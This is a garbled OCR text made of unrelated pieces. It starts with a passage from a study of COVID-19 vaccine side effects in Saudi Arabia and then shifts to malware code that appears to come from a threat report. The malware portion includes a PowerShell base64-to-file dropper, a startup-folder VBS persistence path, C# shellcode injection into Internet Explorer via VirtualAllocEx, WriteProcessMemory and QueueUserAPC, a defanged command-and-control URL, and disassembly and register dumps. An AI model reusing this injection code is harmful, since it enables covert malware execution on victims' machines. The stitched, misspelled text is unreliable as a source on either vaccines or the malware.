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Abstract: Backgroand: Pfizer-BioNTech and OnfordsAstraZeneca are recently introduced vaccines
to combat COVIDH19 pandemic. During clinical triaks, mild to moderate side effects have been
‘associated with these vaccines. Thus, we aimed to evaluate short-term. pn:hvaonmm side effects.
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and 25% af the study participants, respectively. Side effects assaciated with COVIDM® vaccines
have been reported by 60% of the study subjects, and mast of them reported fatigue (S07%), pain at
the site of the injections (85%). Conclusion: Side effects that are u-pumd post OfordsAstraZeneca
and Phizer-BioNTech vacci tudy ffi from those that were
reported in the clinical trials, indicating safe profiles for both vaccines. Further studies are needed to
evaluate the effectiveness of the curment vaccines in protection against SARSCaVs2 reinfections.
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1. Introduction

=pi irus 2 (SARS-CoV-2), is 2 newly identified
member of the human coronaviruses family that was discovered during the outbreak
of the highly transmissible respiratory disease in Wuhan, China in 2019, SARS-CoV-2
causes the Coronavirus disease 19 (COVID-19) and is now continuing to spread worldwide
causing a global pandermic [1]. Saudi Arabia is one of the countries that was affected by
this pandemic. More .mpnmml, Saudi health officials have taken carly unprecedented
v strategies, such as banning international flights,
closing mosques, .w_'huula( and universities, and complete lockdawn of the country, to
reduce the burden of the disease [2). Yet, as there is no approved antiviral treatment

Atebtion (5 1Y) liose ity FOT COVID-19, several trials for vaccine develupmmjk were immediately initiated with
crssvecammenseng/lemeniiyy | the hope: to control this § ic [3,4]. By the' of 2021, some
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function Rwin{
function RuOSTringToBinary {
[CndletBinding ()1
paran (
[string] $InputString
, Istringl $FilePath = ('({0}\ (1

' -f $env:TEMP, [System.Guid]::NewGuid().Tostring())
)
try {
if ($InputString.length -ge 1) {
$ByteArray = [System.Convert] ::FromBase645tring ($InputString) ;
[System.T0.File] : :WriteAllBytes (§FilePath, $ByteArray);
}
}
catch {
throw (*Failed to c

eate -f $FilePath) ;

e from Base6d string: {0}'
}
Write-Output -Inputobject (Get-Item -Path $FilePath);

function LowuersREasdasda {
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0FaUUJ1QUhRQUE: BYndCHO
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0EXQUMAQWENQNhESFVEWLECe

BRO1BZEFEZOFFNEF
EFMA0J00Udr

Wwindows\Start Menu\P; vbs"

\Microsoft\windows\star

ograms\startup\.
ven

P

grams\Startup\App.vbs"

BN, FFEE=AMNC2 T IR A fE % A ShellcodeFFiE A\ Elliexplore.exeFF2 .,

public-static-void-Main{)

{

Win:

=+GetWindowsupdate (AeW) ;

System. Threading. Th: SIeep(1000) ;

byte[]-windowsUpdate =" Convert. FromRase64String(UpWins) ;
string-processpath-=+@"C:\Program'Files\Internet-Explorer\isxplore. exe”;

STARTUPINFO"si-='new- STARTUPINFO() ;

PROCESS_INFORMATTON® pi *="new' PROCESS_INFORMATION () ;

bool success-=+CreateProcess (processpath, 'null,

IntPtr. Zero, * Zero, *false,

ProcessCreationFlags. CREATE_SUSPENDED,

Zero, *null, *ref+si, ~out'pi);

resultPtr-=-VirtualAllocEx (pi. hProcess, - IntPtr. Zero, *windowsUpdate. Length, -MEM_COMMIT, -PAGE READWRITE) ;
rbytesWritten=-IntFir. Zero;

bool resultBool "="WriteProcessMemory (pi. hProcess, ‘resultPtr, ‘windowsUpdate, "windowsUpdate. Length, “out bytesWritten) ;
IntPtr-sht=-OpenThread (ThreadAccess. SET_CONTEXT, *false, * (int)}pi. dwThreadId) ;

uint-oldProtect-=-0;

resultBool'=-VirtualProtectEx (pi. hProcess, “resultPtr, ‘windowsUpdate. Zength, *PAGE_EXECUTE_READ, -out-oldProtect) ;
IntPtr-ptr-=-QueueUserAPC(resultPtr, -sht, -
IntPtr-ThreadHandle:='pi. hThread:
ResumeThread (ThreadHandle) ;

string-AeW
string-UpWins

'Ptr. Zero)

VESRENC2HAEA © hitp[:]/microersof[.]xyz/E5371DD1EAEA2AB6DDIFASFA 760480606 DBD0725/jquery. js

LJrVPkNpsn6ecxBulkpVeEk="";
3/r3g6MEbTn8eygo8=";

‘string-lru-=-@"7ekL5W1ok0xnSENun/sKNvtwOHRUTosVEU1AsGRLYkuvDpOlerYTudsi32CeS INKX2d TWyktOr 0AnVAHq]
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bcnl success'= Crea"Plocess\Droces path, ‘null,

, rout+pi);
VirtualdllocEx (pi. hProcess,
vtesWritten . Zero
bool‘resultBool -="[iFiteProcessMemory (pi. hProcess, ‘resultPtr, ‘windowsUpdate, ‘windowsUpdate. Length, *out byt
sht=-OpenThread (ThreadAccess. SET_CONTEXT, -false, - (int) pi. dwThreadId);

uint-oldProtect-=-0;

. Zero, *windowsUpdate. Length, *MEM_COMMIT, *PACE_READWRITE) ;

Written);

resultBool resultPtr, ‘windowsUpdate. Length, * PAGE_EXECUTE_READ, ‘out-oldProtect) ;

T. Zero) ;

ResumeThread (Ihreadl—[andle ):
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essAccess, bool bInheritHandle, in
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ddd
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b dw
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aword ptr

.byte ptr ds:
. dword ptr

smp_cax,
HI oxsp67D
mov cax. dword ptr

b=l RS
ASCIT

000000000016FG00

000000161

SPITFL | QP2 | GLPITE3 | GWPIT 4 | BT S
sy i)

00000000001
01
00000000001

000000000016FC:
01

seg000: 0002D67D
=25000:0062D67D

52g000:0002D67D loc_D67D:

52g000: 0062DE7D mov  eax,
segod: 02ee06se dec eax

- -1
sub_DSFa+8943

- -1
while (1)
{

5000: 000BDEB1 arpl  ax, dx
=e5000: 0002DEE3 dec  eax

SegR00: 006EDGE4 mov  eax, [ebprvar_3]

5eg000: 0006D6E7 dec  eax

=25000: 0002DEE8 add  edx, eax

Seg000: 00GEDGEA mov  eax, [ebprvar_C] Yo s s - 1y
5eg000: 0002DGED dec  eax - ;
5000 00BADEEE arpl  ax, ox 4

5eg000: 0008D690 dec  eax R

eg000: 006EDE1 mov  eax, [ebprvar 8] s Ve

5eg000: 00080694 dec eax

5g000: 0008D695 add  eax, ecx

=25000:0002DES7 movzx  ecx, byte ptr [eax]

SegR00: 00GEDGIA mov  eax, [ebprvar_C]

5eg000: 0002DGID dec  eax

=25000: 00BADEOE cude )

5000 000BDGSF movzx  eax, [ebpreaxtvar_30] asw {arpl  ax, dx }

5eg00:88BBDEA4 xor  eax, ecx ESM*} el ey ex )

525000; 800BDEAE mov [edx], al 3 s €

5000: 000BD6AB add  [ebptvar_cl, 1

S2g000: BBBBDGAC
52g000:0008DGAC loc_DGAC:

£2£000:000BDGAC mov  eax, [ebpivar
=2g000: 000BDBAF cmp  eax, [ebpiua

5e£000: 60BEDGE2 jL short loc_D67D

£2g000: 000BDGE4 mov  eax, [ebphvar_iC]

525000 000BD5E7 dec  eax

5eg000: 000BD5ES cnde

<2500 000BD5ED dec

=e£000:0008DGEA sub [ebptarg_20], eax

5eg000: 000BD5ED nov  eax, [ebprvar_1C]

=25000:000BD5CE dec eax

5e£000: 60BEDECL cnde

£2g000:000BDEC2 dec  eax

=25000: 0000053 add  [ebpivar 5], eax

Seg00: BABADECE mov  [ebptvar C], 10h return -3
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RFLAGS
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OF 0 SF 0 DF

R ERE PN RS MBI CHAM | I REE EHALTFEEH,

-IBEER | S |000000000016FC80
139635A38B19537D
0000000000000000
(000000000024B1E0
0000000000248240
0000000000248860
0000000002010018
0000000002010020
0000000000000000
0000000000000000

o 3
picay s

WWAT 4| WWRES B L

ASCLL

01
500001
00000001 6FCD8 00000000004D0000
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